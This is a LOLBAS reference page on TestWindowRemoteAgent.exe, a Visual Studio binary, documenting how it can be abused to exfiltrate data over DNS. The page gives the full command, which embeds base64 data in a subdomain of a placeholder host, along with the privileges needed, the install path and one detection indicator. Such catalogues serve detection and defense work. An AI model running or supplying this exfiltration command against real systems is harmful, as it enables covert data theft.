LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

TestWindowRemoteAgent.exe

View source

TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Upload
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Upload1

EXAMPLE 01T1048

Sends DNS query for open connection to any host, enabling exfiltration over DNS

COMMAND
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
USE CASE
Attackers may utilize this to exfiltrate data over DNS
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    TestWindowRemoteAgent.exe spawning unexpectedly

COMMUNITY RESEARCH

Acknowledgements

Onat Uzunyayla